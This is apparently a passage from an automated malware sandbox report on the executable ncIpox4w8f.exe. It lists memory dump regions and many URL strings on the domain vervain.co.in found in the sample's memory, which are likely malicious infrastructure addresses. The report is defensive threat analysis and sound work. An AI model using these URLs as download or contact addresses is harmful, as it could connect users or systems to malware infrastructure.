ncIpox4w8f.exe, 00000000.00000003.472777647.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.470320636.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.433704341.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.436106009.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vervain.co.in/025874515/Jsibtswtoeethvjdrykaimaovwatvsk2t
Source: ncIpox4w8f.exe, 00000000.00000003.477298168.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.426376750.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.419087530.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.465386950.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.421607105.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.481752910.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.416838008.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.401276739.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.412105377.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.472777647.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.470320636.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.433704341.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.460364884.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.397940180.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.457798232.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.436106009.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.390766181.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.500416141.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vervain.co.in/025874515/Jsibtswtoeethvjdrykaimaovwatvsk2y
Source: ncIpox4w8f.exe, 00000000.00000003.263297176.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.266148150.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.495649105.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.283324784.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.491013350.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.280207493.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.286441271.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.288987691.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vervain.co.in/025874515/Jsibtswtoeethvjdrykaimaovwatvsk9e
Source: ncIpox4w8f.exe, 00000000.00000003.500416141.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vervain.co.in/025874515/Jsibtswtoeethvjdrykaimaovwatvskity
Source: ncIpox4w8f.exe, 00000000.00000003.477298168.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.465386950.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.450720668.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.453108202.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.438586801.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.412105377.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.472777647.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.470320636.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.460364884.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.457798232.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.436106009.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.445748706.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vervain.co.in/025874515/Jsibtswtoeethvjdrykaimaovwatvskitywdm
Source: ncIpox4w8f.exe, 00000000.00000003.347983893.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.324671146.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.280207493.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.286441271.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.288987691.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.309024067.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vervain.co.in/025874515/Jsibtswtoeethvjdrykaimaovwatvskny
Source: ncIpox4w8f.exe, 00000000.00000003.495649105.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.448344033.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.450720668.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.328765144.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.416838008.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.401276739.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.412105377.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.324671146.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.397940180.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.309024067.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000002.515020113.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.500416141.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vervain.co.in/025874515/Jsibtswtoeethvjdrykaimaovwatvskotxe
Source: ncIpox4w8f.exe, 00000000.00000003.280207493.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.286441271.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vervain.co.in/025874515/Jsibtswtoeethvjdrykaimaovwatvskust
Source: ncIpox4w8f.exe, 00000000.00000003.340893762.0000000000809000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vervain.co.in/3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaima
Source: ncIpox4w8f.exe, 00000000.00000003.477298168.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.426376750.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.495649105.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.419087530.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.283324784.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.448344033.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.465386950.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.450720668.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.376712057.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.421607105.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.484095926.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.491013350.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.384591005.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.369971422.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.481752910.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.347983893.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.453108202.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.416838008.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.438586801.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.431331290.00000000007FC000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.401276739.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vervain.co.in/5412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk
Source: ncIpox4w8f.exe, 00000000.00000003.347983893.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.309024067.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vervain.co.in/5412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk0.1
Source: ncIpox4w8f.exe, 00000000.00000003.376712057.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.384591005.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.369971422.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.412105377.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.367752702.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.390766181.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vervain.co.in/5412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk2
Source: ncIpox4w8f.exe, 00000000.00000003.426376750.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.438586801.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.433704341.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.436106009.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.445748706.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vervain.co.in/5412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk24e
Source: ncIpox4w8f.exe, 00000000.00000003.369971422.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.367752702.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vervain.co.in/5412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk2y
Source: ncIpox4w8f.exe, 00000000.00000003.328765144.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.324671146.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vervain.co.in/5412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk4.1.1
Source: ncIpox4w8f.exe, 00000000.00000003.477298168.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.426376750.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.448344033.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.465386950.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.450720668.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.376712057.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.384591005.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.369971422.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.481752910.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.453108202.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.438586801.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.401276739.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.395675590.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.472777647.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.367752702.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.433704341.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.460364884.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.397940180.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.457798232.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.436106009.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.445748706.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vervain.co.in/5412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk9e
Source: ncIpox4w8f.exe, 00000000.00000003.495649105.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.448344033.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.450720668.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.376712057.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.491013350.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.369971422.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.347983893.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.453108202.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.438586801.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.470320636.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.344946189.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.367752702.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.445748706.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.382209137.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vervain.co.in/5412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvskity
Source: ncIpox4w8f.exe, 00000000.00000003.495649105.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.491013350.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000002.515020113.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.500416141.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vervain.co.in/5412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvskitywdm
Source: ncIpox4w8f.exe, 00000000.00000003.263297176.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vervain.co.in/5412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvskny
Source: ncIpox4w8f.exe, 00000000.00000003.376712057.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.384591005.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.369971422.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.395675590.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.367752702.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.390766181.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.382209137.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vervain.co.in/5412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvskotxe
Source: ncIpox4w8f.exe, 00000000.00000003.303406339.000000000080F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vervain.co.in/E
Source: ncIpox4w8f.exe, 00000000.00000003.313047462.000000000080F000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.280241715.000000000080F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vervain.co.in/K
Source: ncIpox4w8f.exe, 00000000.00000003.401161238.00000000007D9000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.405146329.00000000007D9000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.382108941.00000000007D7000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.416691334.00000000007D9000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.435949378.00000000007D9000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.393118648.00000000007D9000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.411977070.00000000007D9000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.443210600.00000000007D9000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.384479510.00000000007D8000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.433570492.00000000007D9000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.483953097.00000000007D9000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.440772986.00000000007D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vervain.co.in/N
Source: ncIpox4w8f.exe, 00000000.00000003.266218899.000000000080F000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.313047462.000000000080F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vervain.co.in/a
Source: ncIpox4w8f.exe, 00000000.00000003.390766181.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.382209137.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vervain.co.in/ain.co.in/
Source: ncIpox4w8f.exe, 00000000.00000003.477298168.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.426376750.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.495649105.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.419087530.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.448344033.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.443365066.00000000007FC000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.465386950.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.450720668.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.376712057.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.421607105.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.484095926.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.491013350.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.384591005.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.369971422.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.502989653.00000000007FC000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.481752910.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.347983893.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.453108202.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.328765144.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.416838008.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.438586801.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vervain.co.in/ain.co.in/025874515/Jsibtswtoeethvjdrykaimaovwatvsk
Source: ncIpox4w8f.exe, 00000000.00000003.495649105.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.491013350.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.502989653.00000000007FC000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.416838008.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.401276739.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.412105377.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.397940180.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.500416141.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vervain.co.in/ain.co.in/025874515/Jsibtswtoeethvjdrykaimaovwatvsk0.1
Source: ncIpox4w8f.exe, 00000000.00000003.477298168.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.495649105.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.465386950.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.484095926.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.491013350.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.502989653.00000000007FC000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.481752910.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.472777647.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.470320636.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.460364884.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.457798232.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.500416141.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vervain.co.in/ain.co.in/025874515/Jsibtswtoeethvjdrykaimaovwatvsk2
Source: ncIpox4w8f.exe, 00000000.00000003.477298168.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.465386950.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.484095926.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.491013350.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.481752910.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.460364884.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.457798232.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vervain.co.in/ain.co.in/025874515/Jsibtswtoeethvjdrykaimaovwatvsk2t
Source: ncIpox4w8f.exe, 00000000.00000003.495649105.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.376712057.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.484095926.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.491013350.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.384591005.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vervain.co.in/ain.co.in/025874515/Jsibtswtoeethvjdrykaimaovwatvsk2y
Source: ncIpox4w8f.exe, 00000000.00000002.515020113.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.500416141.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vervain.co.in/ain.co.in/025874515/Jsibtswtoeethvjdrykaimaovwatvsk9e
Source: ncIpox4w8f.exe, 00000000.00000003.477298168.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.448344033.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.465386950.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.450720668.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.453108202.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.472777647.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.470320636.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.433704341.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.460364884.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.457798232.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.436106009.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.445748706.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vervain.co.in/ain.co.in/025874515/Jsibtswtoeethvjdrykaimaovwatvskity
